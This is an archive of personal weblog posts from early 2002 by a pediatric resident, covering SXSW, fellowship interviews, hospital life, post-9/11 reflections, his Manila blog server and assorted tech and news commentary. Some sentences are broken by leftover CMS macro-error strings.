SXSW was a total blast this year, despite the fact that I had to leave early for a fellowship interview. This page is just some scribblings, mostly as a reference for myself — people I met, pictures that other people took, presentations that people did, that sorta thing. It’ll evolve as I find more and remember more.

People: (in no particular order)

These are all people that I met at some point (whether it was during kickball, or while imbibing in the lobby of the Omni). For most, I was just happy to finally put faces to their names; it was awesome to get to know quite a few of them a little more than that, and start some good friendships.

Photos:

A lot of people have already put up their photo pages from SXSW; these are the ones that I’ve found. I’ll update the list as I find more, or as people put up their pix. (Of course, if you find some that I’ve omitted or not found yet, feel free to mail me with the links.)

Presentations:

These are links to presentation-type stuff. Some of it pertains to panels and conference stuff, other links are to artistic things that happened at night. It’s all good.

Wrapups:

These are just things that people wrote on their sites — either during SXSW or after they got home — that I liked.

Wow — with today being the first day of the Tribute in Light and my post about it earlier this week, Google has sent a lot of love my way today; welcome to all the people who’ve clicked through to the home page! Hope you enjoy your stay…

At my first sight of the National Guardsmen in at Laguardia Airport in New York last Friday, I suddenly realized that this trip is my first time on an airplane since September 11th. While on the plane, I tried to keep it out of my mind — that shudder of the airframe was just turbulence, that man standing up and walking to the front just needs to use the restroom — but it was always bubbling just underneath the surface. Changing planes in Dallas, though, it wasn’t hard for it poke right up into my consciousness, since all the National Guardsmen here in Texas are carring their M-16s right across their chests, the American terminal was empty (where it used to be full of people waiting to meet flights), and things just felt palpably more…. tense.

Today’s the six-month mark after the attacks, and it’s fitting that I’m traveling; it’s one way to force me to think about what happened, make it a little more personal, and remember everyone and everything that was lost that day. Nobody can seriously say that America was innocent before that day, but in looking back, it’s clear how much more innocent we were, and how much has changed in our daily lives. Thinking about the past six months is still sobering, it’s still thought-provoking, and it still has the ability to completely overwhelm me.

I’m sitting in the Austin airport right now, leaving SXSW early (insert big frowny face here), thinking about the last panel that I sat in on today. Steven Champeon talked about non-traditional web design, but it wasn’t design in the sense that everyone talks about — he was talking about true design, from the back end all the way to the user experience, including the structure of a site, the storage system that holds the site’s text and image and whatnot, and the way that that raw data flows from that system out to the user as a palatable document.

At some point in the 75 minutes, I started wondering if I was outgrowing the system that I’ve set up — Manila, with a few custom extensions and whatnot — and how I could go about both setting up a new one and get my data into it. Userland seems to be making a clear move towards Radio, with features that aren’t in Manila (and that it isn’t clear will be in Manila), but that I want in order to implement some of my ideas. Maybe it’s time to start programming my own; we’ll see.

I’m having a great time in Austin, but alas, I’ve got to leave early tomorrow, to make my way to Houston for another fellowship interview. I’ll try to catch up here when I get to my hotel tomorrow evening; there are some good pictures hanging out on my camera, and some cool events to talk about.

Danger, Will Robinson; there’s a fake Microsoft Security Update making the viral email rounds. You’d be well-served by not running it (since Microsoft never, ever, ever sends out security updates as attachments), and best-served by running a good antivirus app with frequent and comprehensive updates.

Could it be more obvious that Sammie wants to join me on my Texas trip this weekend? (Click on the image for a wider-framed version, if you’re so inclined…)

[Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.]

I hate when people in the hospital abuse the fact that I, as a pediatrician, am much more interested in making sure that the right thing gets done than they are, and shirk their own jobs knowing that I’ll come along behind them and make sure that some family or child doesn’t get hurt by their brevity.

Last night, I spend an hour talking to a family about their five-week-old baby, answering their concerns and walking them through what was done to their child. What was the problem with this? The child was a neurosurgery patient, and as a pediatrician, I’m definitively not the right person to be doing this. But the neurosurgery resident spent no more than two minutes in their room — most of which was spent suturing a leaking wound that he initially insisted couldn’t have been an issue — and the parents got the sense that he felt overwhelmingly bothered by their questions. So as the pediatrician covering the neurology service overnight, I went by to see how they were doing, and ended up leaving an hour later.

(This morning, I was glad to learn that at least a little good came of it all. The chairman of pediatric neurosurgery came by our morning rounds to ask “who’s Jason?”; it turns out that the family had told him that the only person to actually spend time with them had been me, and that while the rest of his staff didn’t represent him well, at least there was a pediatric resident who made up for it. That made me smile a little. smiley: )

Being that I’m rooming with the poor schlepp at SXSW, how can I resist this temptation?

Mike Bloomberg, mayor of New York City, has announced that on March 11th, the Tribute in Light memorial will start shining. It will be 616,000 watts of light, pointing upwards from just next door to the original site of the World Trade Center towers; it’s a derivation of the Phantom Towers idea that graced the cover of the New York Times Magazine the week after the attacks.

I can’t stand it when I go to a website to get information about some computer product, click on Products, and then am asked to choose whether the thing I’m looking for is for home or office use. (Example of the day: Hewlett-Packard’s handheld and PocketPC page.) Does this distinction have any meaning for most computer products? Are there really explicit criteria that differentiate a home handheld computer from an office one? What about desktop and laptop computers? Antivirus software?

The very nature of the products means that any of them can (and will) be used in pretty much any environment, and as such, trying to shoehorn them into meaningless cubbyholes makes users less able to find the information they need, and ultimately, less likely to spend their money on them.

I need me a good CompactFlash MP3 player.

I have a ton of CF cards, because of my camera; I want a good MP3 player that can use ‘em, so that I don’t have to keep track of a billion kinds of different media cards. I currently have a Frontier Labs Nex II, but it’s buggy — it randomly freezes, and skips a lot when I use MicroDrives. I have kept the data page for the e.Digital MXP-100 bookmarked, but haven’t pulled the trigger, mostly because I know nothing about it from actual users. And Anil tells me (possibly tongue-in-cheek) that the only obvious choice is an HP Jornada.

Does anyone have any ideas?

It’s a well-established (and well-known) fact that the risk of chromosonal defects (like Down’s syndrome) increases with increasing maternal age. A Spanish research lab is now reporting that the same fact holds true for increasing paternal age; it’s the first time that this has been demonstrated. (That sound you just heard was a billion men startled by hearing their own biological clock ticking for the very first time.)

How many people really wish that this Microsoft Knowledge Base article really existed? It’d be nice to be able to email it back to certain groups of people…

Oh my, what a good entry. I hope that the dog learns to trust someone, and if she has puppies learns to trust them to that someone, too.

I’m back from Boston, after what felt like a whirlwind trip — on a train at 7:30 PM Thursday, arrival at 11:45 PM, immediately to sleep, awake and at the hospital by 9:30 AM, interviewing until 5:00 PM, dinner with an old friend and his girlfriend until 8:30 PM, and then back on a train, arriving back at Shannon’s at 2:00 AM Saturday morning. Then, tack onto the end: back awake at 7:45 AM, in my own hospital at 9:00 AM, on call overnight and until 10:15 AM this morning — I’m beat. But the interviews went really well, and I’m starting to feel excited about the entire process of becoming a fellow. (Of course, it’s not until July 2003, so there’s a bit of time between now and then!)

I’m off to Beantown, on a just-over-24-hour trip for another interview. The sad thing is, the part I’m most looking forward to is the train ride, since it’s a guaranteed four hours in each direction when Shannon and I can just sit back and relax, without any question of having to rush around and get stuff done.

I can only imagine the havoc that a water-cooled laptop computer is capable of wreaking.

I happened upon a hosting service catering to weblogs today, and was happy to see that one of the people behind it is a certain working mom. Blogomania looks to be a good deal — a hosted MovableType (or GreyMatter) site, a decent amount of disk space and transfer bandwidth, and both access to raw and processed log information, all for not a lot of money. All this is to say: if you’re in the market, you may want to check them out.

This has been a good week.

Back in mid-January, I applied to ten fellowship programs. Yesterday, I heard from the tenth; I got interviews at all of them, and now, I need to start deciding if I feel good enough to cancel any of the interview trips, or if I should just go and be dazzled by them all. It’s a good decision to have to make; I had absolutely no concept that I’d be in the position to do so, and I’ve been walking around with a huge grin on my face for the past few days because of it.

Yesterday, I was in my clinic, and was pleasantly surprised to see a patient on my schedule that I haven’t seen in a few months. He looked great — you’d never know that he spent a week of his first month of life in a pediatric ICU with an RSV pneumonia that nearly killed him. I was even happier to hear that, despite plans to move to the central Bronx, his parents have no plans to start taking him to another pediatrician.

Lastly, even though it’s only for 24 hours, Shannon and I are getting away tomorrow night, to go to Boston for my second interview. I’ll see an old friend, visit an amazing hospital, and spend two relaxing train rides reading and dozing. Should be nice.

What is real? (415) 564-1347.

Pretty high on the list of fears for infertile couples must be finding out that the donor of the sperm or egg has recently been found to have a late-onset hereditary disease.

The more I read about the upcoming Shuttle mission, the cooler it sounds. The official goal of the mission is to perform routine maintenance and repairs on the Hubble Space Telescope, but nothing about the flight is routine — there will be five spacewalks, each lasting over six hours, and when finished, the Hubble will have entirely new solar arrays. It’ll also have a new camera (with over 10 times the resolving power as the old one), a new cooling system to revive the long-dormant infrared camera, and a new power unit. That last one is the cause of the greatest complexity; in order to replace the old unit, the Hubble will have to be powered completely down, for the first time ever. (Quietly, engineers are holding their breath, hoping that the telescope powers back up without incident.)

Oh, great — just when I was getting all comfortable and crap with the current DVD standard, along comes a new one. The nine big tech companies have come to a tentative agreement on the Blu-Ray standard, which will increast the capacity of DVDs sixfold, and allow faster playback and easier computer recording. The only thing that will remain the same between today’s DVDs and Blu-Ray discs is the size; given the upsides of the change, though, I’m not complaining too much.

If Microsoft were to release an operating system with a built-in mail server that allowed anyone, including spammers, to relay mail through it, we wouldn’t hear the end of it. If someone else — say, Apple — were to do the same, we would barely hear a peep.

I’m the first to admit that, sitting here in the middle of NYC, I started tuning out the news about anthrax pretty early, maybe in a fit of denial. Because of that, I found the New Scientist’s catch-up article on everything that’s happened in the anthrax investigation pretty enlightening. For instance, I didn’t know that it’s now a definitive fact that the anthrax came from the U.S. military strain; I also didn’t know that the army has continued to produce weaponized anthrax. The investigation is ongoing, and in part hinges on the development of techniques to allow the differentiation of the strains of anthrax at each of the dozen U.S. research facilities (which all derive from the same one). At each stage, though, it’s become clear that nobody was prepared to investigate something like this, and we may end up having to rely on the very institutions for protection which were compromised and allowed the anthrax release to occur in the first place.

I could easily spend hours and hours of amazed bliss staring at Scott Kim’s various visual inversions. Each link in his gallery is another example of an amazing blend of visual design, symmetry, and even trickery to produce damn cool results. No, really — go take a look, it’s worth the time. [via MeFi]

Wow — I honestly had no idea that anyone still had hope for recovering the black boxes from the two flights that hit the World Trade Center towers. It’s hard to imagine that they’re really going to be found.

So, tomorrow holds in store my first fellowship interview. Eeeep!

So, there’s been a small wouldn’t-even-conflate-it-to-a-redesign here tonight; it was inspired by being very tired, but knowing that if I went to sleep early, I’d wake up at 3 AM totally wired. Of course, there are a few issues still outstanding:

  • I think that I want to make the background a nice neutral gray — #CCCCCC, to those of you in the know — but two opinions tell me it’s a no-go. So meanwhile, I borrowed Tigerbunny’s background, which looks pretty nice.
  • Why does Mozilla put a few pixels of extra space below the logo at the top right? I’ve already spent more time than I care to admit trying to fix it; I need to do a smidgen more research, and then maybe I’ll file a bug report. Another Mozilla oddity — the non-collapsed borders around the logo and in the calendar and membership box — seems to already have been reported.
  • I’m sorta going to miss the big background Q; I’m already wondering how to incorporate something resembling it into this layout.

Hang in there, Jan and Keith (and most importantly, Zeke!) — RSV is a nasty disease, but with good care, it’ll pass and Zeke will get right back to normal (which, of course, is eating, sleeping, and pooping — what else do one-month-olds do?!?). And rest assured that he’s not just getting good care; at Children’s, he’s getting great care. (Actually, one of my med school classmates may be his doctor in the ICU!)

Dahlia Lithwick has another great column covering the Supreme Court, this time recounting the oral arguments in HUD v. Rucker. It’s an interesting case about the fairness of federal housing rules that state that any drug use, by a tenant or a guest “under the tenant’s control,” will lead to eviction. At issue are four elderly tenants who were evicted, all due to use of drugs by others who were arguably under control of nobody; the kicker of the column is Dahlia’s list of “The 10 Best Ways To Lose the Most Sympathetic Case in History.”

colored chicks on display

OK, there are some things in this world that are just plain wrong, and I’d say that displays full of green, pink, red, blue, and purple chicks firmly fits into that category. Luckily (for the chicks), the dyed down is replaced by normal baby plumage in about two weeks, so they won’t grow up looking like complete freakshows.

Given that Sports Illustrated’s Swimsuit Issue cover is already up on the Yahoo most-emailed photo list despite a clear embargo until later this morning, methinks that Yahoo’s news department needs to work on abiding by the restrictions that are placed on stuff they get over from the news service wires. In all actuality, they are usually pretty good; I wonder how this one slipped through…

There’s little that makes me smile in the ongoing battle between AOL and Trillian, but I have to admit I giggled a little bit when I read this transcript of an AOL live tech support session. In response to AOL’s banning of Trillian, a bunch of people have made their websites inaccessible to anyone using AOL for service; one such person decided to contact AOL, pretending to be an unaware user and asking why he couldn’t get to those sites. Of course, the tech support person turned out to be clueless; it’s just funny seeing that cluelessness onscreen.

Interesting; there’s now an open-source project to develop a Terminal Services client for Linux. (For those who aren’t technically-inclined, it will let Linux users connect to a Windows server and see the desktop of the machine, with all their apps, just like they were sitting in front of it.) Of course, there’s already a good Java client out there that I recommend highly; this just adds to the options available on Linux.

Sorry about the “Unable to reach the server” messages you’ve been getting if you’ve tried to visit me the past three mornings; my Manila server has become a bit crashy this week. I hope to work it out soon.

UPDATE: in an effort to help things out, I’m doing a total reinstall of the server that hosts Manila. You may notice some minor blips here and there, but for the most part, I was able to move my Manila sites to another server for the mean time.

Hmmmmm…. I wonder if this decision’s gonna get appealed. It’s reading crap like this that makes me proud to be a member of the American Academy of Pediatrics, which is now on-record as supporting same-sex parents. Despite the opinions of the justices (one of whom is well-known for other religious-right fanaticism), there’s now pretty good evidence that children reared by gay parents aren’t freaks, nor are they sociopaths; they’re normal kids, and likely to do just fine. Now, if we could say so much for judges and politicians…

Joel Spolsky has written another good column, this one about how to deal with the fact that, many times, people who get to make decisions about programming and projects don’t have any understanding of how such things actually work. I like his main recommendation — until you have them actually programmed, don’t let your users (or your non-technical bosses!) see the features that you intend to include in a project.

Yes, Shannon and I are total dorks, but dorks who are nonetheless meant for each other.

the tulips shannon sent ME!

I ran out on errands today, and about a half-hour later, as I was coming back, I noticed a whole lot of hubbub on the street in front of my building. It turns out that an SUV lost control and [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] , ending up [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] , pretty much right where I had walked to catch the bus not too long beforehand. Having a fire escape on the front of the building, [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] took a break from her “studying” and we [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] ; after it was pretty clear that nobody was hurt, we turned our attention to hoping that the [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] isn’t replaced, leaving us with one more parking place on the block.

Wow — I had no idea that USA Today “revised” both the online version of Christine Brennan’s column as well as the version that went into Wednesday’s print edition, deleting out the accusation of vote tampering on the part of the French judge. (Interestingly, USA Today itself covered the revision of the column.) Given how things have turned out, I’d bet (and hope) that they feel like idiots.

(I also feel a bit honored to have discovered all this by [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] in Jim Romenesko’s MediaNews; the flattery won’t stop me from urging Jim to get himself some permalinks, though!)

Foveon is an interesting company in Silicon Valley that’s developing a different kind of digital sensor array for digicams, one which could significantly change the resolution and quality of those images. Instead of having an array of sensors that each pick up a single color (red, blue, or green), it’s three layers of sensors which determine the proper color based on how deeply light passes through them. The New York Times has an article about the technology; I found that I didn’t really understand what they were talking about (and thus how you could get better resolution out of the same size array) without also checking out the multimedia illustration (linked right under the photo at the top) and Foveon’s own explanation.

I’ve been hanging onto this one in my pocket for a little while, wondering if it was too creepy to post. Today, I decided I’d rather just get the shortcut off my desktop, so here it is: a website that Russell Yates put up with pictures of his five children, the ones that were killed by his wife, their mother. It’s also a plea for money for her defense fund, and an attempt to indict his wife’s prosecutors.

Pure and simple, Sale and Pelletier were robbed.

(Later-in-the-day update: there may be more to the idea that Sale and Pellitier were robbed than just raw emotion. USA Today columnist Christine Brennan has what appears to be a scoop today — the French judge, Marie Reine Le Gougne, appears to have told the ISU that she was forced to vote for the Russians in a vote-swapping deal that would bring the ice dancing gold to the French next week. Brennan also mentions reports of the judge possibly being in a position of wanting to curry favor with the Russian delegation, who would make it possible for her to gain a seat on the ISU technical committee.)

It’ll be interesting to see what the findings of the ISU’s “internal assessment” turn out to be.

Maybe, just maybe, it’s time to think about combining all the Enron investigations into one, so that our Congress can turn at least some attention to other business.

I’m testing out a procedure that’ll pause the webserver here tonight at 11 PM, in order to do some routine maintenance on the files from which this (and a few other) websites are served. Hopefully, this will be the start of me not having to restart my Frontier/Manila server every few days in order to keep it stable.

Update: the procedure ran fine, but it remains to be seen if it helps deal prevent Frontier’s memory allocation from growing and growing; that’ll take a few days. And it appears that I may be able to take out the part of the procedure that contributes most to the time it takes to run, so tweaking will continue. In the meantime, it’ll run at 5:14 AM (Eastern), so expect about 20-30 seconds of downtime right around then.

A little reference for myself, for the various picture show macros that I’ve installed here:

  • webpages:
    • /picOrderEdit: the editor for the order of pictures in a picture show. Lets you define the previous and next image for each photo in the show, as well as a title for the show. Caveats:
      1. you need to manually put in the picture show title on each picture page (it doesn’t handle automatically doing this for you);
      2. you need to make sure that you submit the info for the last picture in the show, so that the info about the previous photo to that one, as well as the title of the show as displayed on that photo’s page, are saved.

    • /pictureShow: the page that actually displays the pictures themselves, as part of the picture show. Takes a single search argument, as such:

        http://q.queso.com/pictureShow?picNum=1581

    • /popupPictureViewer: the page that displays popup images; you’ll never need to call this by yourself, as the {popupPicLink} macro should generate the link for you.

  • macros:

    • {popupPicLink}: generates the link for a pop-up picture window. Used as follows:

        {popupPicLink(“num”, “link text”)}

      where num is the message number of the picture, and link text is the text that you want to be the clickable link. Here’s an example:

        {popupPicLink(“1393”, “me and shannon at dana’s wedding”)}

      should generate: [Macro error: Can’t evaluate the expression because the name “newsSite” hasn’t been defined.] .


Rawk on — Alex Feinman has written a free add-on to the Windows XP native CD writing stuff that will create and write ISO disk images. During the beta phase of XP, there was a MS-written PowerTool to do this, but they pulled it for some reason; finally, someone’s filled the void.

A certain white supremacist, Jew-hating website started popping up in my referrer logs a few weeks ago, and I made a conscious decision not to point to it and rant, because I didn’t even want them getting the hits. I didn’t even spend much time on the site, except to note that the front page was full of pretty disgusting epithets and raw ignorance. Well, I have to break my decision today, because Cory seems to have found the one page on the site worth reading, which he subtitled “White Supremacist Dating Tips.” Read the whole thing, but pay particular attention to the first rule for men — it’s a true winner, and hopefully, when guys actually start to implement it, it’ll help thin the herd of ignorant asses out there.

I’ve been reading a little bit about UPnP (Universal Plug and Play), after getting a few Linksys routers that support it, and I’ve gotta say that it sounds like a cool technology. Unfortunately, there don’t seem to be that many devices that use it yet, and more, there don’t seem to be many places on the web to read about it. The two best ones that I found are the resource page of the official UPnP standards body (which tends to the technical), and Microsoft’s overview of UPnP in Windows XP (which tends to the practical).

Update: Microsoft is already using UPnP in useful ways; for example, the Remote Assistance feature automatically senses if it’s behind a UPnP-compliant device, and translates the computer addresses accordingly.

I love the audacity of software companies. Does anyone run Norton AntiVirus? They’ve implemented another step in the LiveUpdate process within the past six months or so, where it verifies that you have a current subscription to virus signature updates. Lately, this step can take forever, and usually then times out (leaving you without many options). Searching their knowledge base for a way to fix this, I found a few enlightening articles, one suggesting that you just have to tolerate a process which “could take 15 minutes or more,”, and another that blames it on “temporarily busy” subscription confirmation servers and asks that you leave the error dialog box open for 30 minutes and then let it retry. Do they really think that people will tolerate their incompetence for very long?

Ohmygod, how have I missed BetterDog’s Blogs for Dogs? Sharp.

So, I’m on call here in the hospital, and I overheard the most amazing conversation this afternoon. One of the ward clerks — the people who answer the phones, pick up new orders in the charts, etc. — was complaining to one of the nurses that another ward clerk was (angry, shocked emotion inserted here) doing work that wasn’t specifically part of the ward clerk job. He occasionally helps find equipment that the nurses need, takes specimens to the pneumatic tube system, and even sat with a patient the other day while the mother ran a quick errand — and, in the eyes of the clerk today, this is all bad. She even threatened to report him to the union, lest his work ethic become a model for others.

A little while later, I asked the nurse to whom she was complaining about the conversation, and was pretty stunned to learn that it is, in fact, against the union rules to do work that isn’t part of your explicit job description. In fact, the employee’s union here encourages members to report instances when it occurs for disciplinary action.

It’s stunning to me how lazy people can be, and how much more work many of them will put into fighting off threats to their lazy lifestyle than they will into their jobs.

(It probably wouldn’t shock anyone to learn that the woman who was complaining hasn’t done any part of her job, much less something extra, in over a decade. When we come into work and she’s at the desk, we know that our jobs have just grown by 50% for that shift; she’s completely worthless.)

Critical IP sucks.

Tom Shales has a well-written column today on the NBC coverage of the Olympic opening ceremonies, agreeing that Bob-n-Katie’s coverage was painful, but also extending his criticism to the producers of the television event. I particularly like Shales’ notice of Costas’ failed attempt at making his script seem like impromptu eloquence (with his “the temperature here is in the twenties” quote); I also like his conclusion, which reads, in part: “More and more, NBC is becoming a living monument to execrably bad taste.”

Really, how much better would the Olympic opening ceremony be without the inane, unceasing blather of Bob Costas and Katie Couric?

It turns out there may be a little less principle than you think there is behind Dubya and Cheney’s stalwart stance on executive privilege in the energy task force/Enron investigation. It’s nice to see at least one media source pick up on the hypocrisy of it all.

Meanwhile, the Christian Science Monitor has a profile of David Walker, the head of the General Accounting Office and the man who is taking the White House to court over access to the documents. I like his take on things, and had no idea that he was a partner at Arthur Andersen before he took on his current job.

Some of the stupid-thing-I’ve-done stories that people contributed to Heather are good; others made me laugh hysterically. What I don’t get, though, is why the occasional asshole felt the need to contribute; I guess it’s easy to be a mouthbreathing cretin when you don’t have to attach your name.

From Piper, Kansas comes a sad tale of a teacher who caught 28 of her biology students plagiarizing their semester projects and failed them, and then after parents complained, was told by her school’s board to give them all partial credit and reduce the weight of the project grade. She resigned from her position, disgusted with the school’s tolerance of cheating; at least a dozen other teachers have threatened to follow suit. CNN has another take on it here, and the Kansas City Star has more on the Teacher’s Association reaction to the conflict, as well as an active online forum.

It was sheer coincidence (serendipity?) that, during a break from a big web design project this week, I meandered by Matt’s online home, and found both a damn fine study on user’s expectations of websites and the damn fine usability newsletter from which it came. I like the study a lot, mainly because it’s supported by actual user data rather than supposition; it shouldn’t shock anyone that, coming from the world of medicine, I demand that conclusions be backed up by real data.

For those of you who demand the same, I’d recommend heading over to Research-Based Web Design & Usability Guidelines. Managed by the National Cancer Institute — another of those groups that is sorta stickly about having real data before doing something — it’s an awesome repository of information about implementing usability, and each recommendation is rated by the strength of the of evidence which supports it. It’s a don’t-miss in the world of website design.

I mean, really… is there anyone who doesn’t want one of these? (Seattlites would need this version, of course.) It seems that the company could use a good dose of help from Dean Kamen to help ‘em get over the final hurdles, though.

I find it interesting that I have yet to see anything on the ‘net that talks about the tastelessness of the U2 halftime show at the Super Bowl yesterday. Specifically, what I didn’t like what the way that the two huge curtains behind U2 — pretty clear artistic replicas of the Towers themselves — came crashing down while the names of the people who died in the buildings were scrolling by; to me, it was pointless and crass. Boooooo.

My current reading material: The Spirit Catches You and You Fall Down, by Anne Fadiman. I’m reading it for a community pediatrics rotation, wherein I’m supposed to be learning how to be more culturally sensitive of my community and patients. The book is irritating me, though — there’s a lot of blame laid at the doorstep of doctors for doing their job, a generous amount of idealistic attitude about what doctors should be doing for their patients, and a conspicuous lack of stressing the responsibilities that go along with being a parent.

Strangely, after all the activities that this rotation has thrown at me over the past three and a half weeks, I have the same feelings about a lot of what goes on in my hospital’s community. There’s a ton of emphasis placed on how doctors don’t do enough to understand the community; there’s no emphasis placed on how the community doesn’t do much to understand the hospital.

It’s frustrating always being the bad guy.

This past weekend, I decided to start reading more about the entire Enron scandal, and am simply aghast at what I’m learning. The deception and fraud are, by all accounts, enormous; Ken Lay may be the devil himself, and I hope that someone is able to get into the public eye exactly how much money this man has lying around, so we can be spared the sob stories by his wife about how broke they are. I also hope that Congress subpoenas his ass into the hotseat, rips him to pieces, and then does the same with our friends at Arthur Andersen.

I freakin’ hate AOL Instant Messenger right now. All day, it’s randomly denied my attempts to log in, saying “You are attempting to sign on again too soon. Please try again later.” It’s related to using Trillian, I’m reasonably sure; that being said, I’m using the same version of Trillian that others are using without problems. About an hour after the error starts, I can log in again — but then, within 30 minutes or so, I get booted.

If the fuckers at AOL are really going to start playing the only-our-client game, methinks it’ll be time to stop using the damn thing entirely. God knows, there are other good services out there…

Finally! Maybe now I’ll !@%#*$ remember when it’s the first of the month. [Praise be to Heather for the niftiness.]

How did I miss this? The Wall Street Journal had a recent article about the problems that Sports Illustrated faces — competition from ESPN Magazine (and television in general), the budget cuts that came hand-in-hand with the AOL-Time Warner merger, and the loss of the magazine’s managing editor. There’s a lot of meat in this article; it’s interesting to see this kind of perspective on the magazine.

There’s a good thread brewing over at MetaTalk about the life/death/rebirth of MetaFilter. It all got started by a formerly-prominent member’s proclamations of impending MetaFilterian doom, but it’s developed into quite a discussion about what sites like MF should be (and why people even try to figure things like that out). It’s also got a lot of misplaced melodrama, which is far and away the most entertaining part.

The other night, Shannon and I were downtown eating and seeing Amelie1, and noticed that the Empire State Building lights were green. “Why green?”, we asked ourselves. Of course, the answer’s on the ‘net — it’s March of Dimes Month, and somehow, green’s the color to represent that. (Interestingly, there’s no mention of it being March of Dimes Month on the March of Dimes website; maybe they meant Birth Defects Prevention Month?)

1. I apologize in advance for linking to a website with background music, but the site’s good enough that I justified it to myself.

Last week, Matt pointed out that a few researchers at my fair alma mater are running a sociology project that is trying to replicate the famous six-degrees-of-separation experiment, this time via email. Whereas both Matt and a friend of his were underwhelmed with their own experiences participating in the experiment, I had no problems doing so; it was quick and easy, and it will be interesting to see where it leads. Icon has a reprint of a NY Times article about the project, for those interested. (Oh, and my message for Matt’s friend Ed: it’s hard to take your complaints seriously when you openly admit to trying to sabotage the experiment with false data.)

In December, parents of a baby who died an hour after childbirth at Queen Mary’s Hospital in England were aghast to find that the hospital mortuary had lost the body a few days before the funeral. They were even more aghast when the body turned up — at the laundry facility for the mortuary, after having been through a wash cycle. The parents still haven’t accepted the apology of the hospital; the fiasco has even merited statements by Tony Blair. What a horrible ordeal.

Hey, cool! It looks like Microsoft finally released driver support for USB 2.0 on Windows XP. (Note: that’s a link to a Google Groups posting pointing to Intel’s version of the installer. I just gave Windows Update a whirl, though, and it’s available there, as well; it’s the “Microsoft Usb Driver Version 5.1.2600.0.” You’d think that they’d put some acknowledgement that it supports USB 2.0, wouldn’t you?)

Michael Dorf, a law professor at Columbia, has a damn fine column over at FindLaw about the difference between prisoners of war and unlawful combatants. Why should you give a damn? Because the basic breakdown is that the former are governed by the Geneva Convention, and the latter aren’t, for pretty good reasons. And this matters because it’s pretty clear that any Al Qaeda fighters are in the latter category, and it’s almost as clear that the Taliban fighters are, as well. Puts another context around the squabbling about the imprisonment conditions at Guantanamo Bay.

I’m feeling healthy and productive today.

I was an outdoor swimmer as a kid, and as a result, I’ve ended up with a few little moles and whatnot that have never worried me. A few weeks ago, though, Shannon noticed one that didn’t look like the rest, so I went to a general internist this past week. He didn’t think it was anything, but decided to let a dermatologist take a look; while I was there, he did general bloodwork. Today, all in about an hour, I saw the dermatologist and got the results of the bloodwork. As for the dermatologist, he thinks it’s nothing, but he did an excisional biopsy just to be sure. As for the bloodwork, completely clean bill of health — good glucose screening tests, decent cholesterol level. Satisfied, healthy me.

And the productive part comes from this weekend, when I decided to finally finish off my fellowship applications. It was a bitch — I spent literally all day Saturday working on them, scanning and typing the forms, writing my personal statement and CV, and generating all the envelopes, labels, and cover letters. Tonight, I just sealed up eight applications to go into the mail tomorrow, and I emailed a ninth, which leaves only one to go (my own hospital, which has yet to get it to me).

With so much accomplished, where will my daily angst come from now?

stop sign reflected in raindrops

What a kick-ass picture. I wonder if the central effect was intentional, or if random happenstance caused that raindrop to reflect the sign so clearly; whatever the cause, the image is the kind that I wish my brain would help me compose when I’m behind my camera.

I hadn’t realized that one consequence of the tightened post-September 11th airline industry is that high-speed, in-flight Internet access is being put on the back burner. Bummer; it would have been damn cool to surf the Web during my upcoming flight to Italy.

I don’t think I’ve ever been as proud of my Mom as I was this morning.

I don’t know what it was that got me to go to the pediatric morning report today; I was on call last night, and I was seriously dragging by the time I signed everyone back in this morning. For some reason, though, I went. The child that was being discussed was a teenage boy who had presented with acute mental status changes and bleeding gums, and it was eventually determined that he had thrombotic thrombocytopenic purpura (or TTP). The rest of the discussion focused on the salient teaching points of TTP, and at one point, my chief resident made an offhand remark that she was using “the big hematology textbook” as her primary reference for the talk. Through my tired fog, all I heard was that sentence, and a little bell went off in my head, with the realization that my Mom wrote the chapter on TTP in what’s considered to be the authoritative heme textbook. At that point, I reached over the table and took the stack of papers from next to my chief, and sure enough, on the top was my Mom’s chapter.

Dude…. my Mom’s smart and shit.

Wow, what a cool story, and one that I never knew anything about: in 1976, the owners of the American Basketball Association team the Spirits of St. Louis made a deal with the rest of the ABA to forego merging with the NBA, and instead, to collect one-seventh of the annual television revenues of the other ABA teams — forever. They’ve made over $100 million from the NBA to date; with the new NBA television contract, they stand to make that much again in just over four years. Stunning, and awesome. [found at MetaFilter]

Somewhere along the way over the past year, I fell off of the McSweeney’s bandwagon. I’m not sure why, and I can’t remember exactly when, but after sauntering through the site tonight, I’m a little upset with myself — it’s as funny as ever, just the kind of fantastic, straight-faced, flight-of-ideas humor that makes me giggle hysterically. I gotta get back on that wagon.

Reading this NPR transcript about GM’s use of the World Trade Center attacks in their recent line of commercials brought to mind this commercial running in NYC right now that pisses me off every time I see it. It’s for a union for teachers, and it outright states that, due to the attacks, we now need skilled teachers more than ever, and that they need to be well-paid. For the life of me, I can’t figure out the link between the two; it’s just outright pandering, and it’s annoying as crap.

The O’Reilly Network has an interview with Brewster Kahle, the director of the effort that has resulted in the Wayback Machine (the web-based search-and-retrieval interface to the 100 terabyte Internet Archive). He provides some great information on the technology that the company is using to implement both the archive and the interface.

“All we can do is stand around and watch you plow away at your stringy skank queen. Great, just great dude, you hippie freak.”

There’s no gettin’ around it; Brent is a funny, funny bastard.

How has it remained so quiet that two Republican Congressmen have introduced a bill to reinstate the U.S. military draft? House Resolution 3598, the Universal Military Training and Service Act of 2001, would force all men between the ages of 18 and 22 into six months to a year of basic training; it would also authorize the various Secretaries of the branches of the armed forces to “allow” women to volunteer for training. Honestly, I just can’t see this one getting very far. (Also, can’t women currently volunteer for service? Pretty damn patronizing…)

For other people who’ve invested in a Linksys wireless router and 4-port switch, Jake Bordens has a great page of information and links about the box. Well worth putting into your bookmarks…

I can’t, for the life of me, imagine why Nokia felt that this is the right time to create a subdivision that specializes in “luxury” cellphones. In this economy (hell, in any economy), who’s going to spend more than 20 grand on a phone?

Really, honest to God, it’s a true story.

I went and did it, and got a wireless network access point for my apartment. I’ve been wanting to get one for a while, but the prices were a bit prohibitive; now, with the release of a newer wireless standard (and much talk about yet another standard), prices have fallen like rocks, and it seemed like a good time to buy.

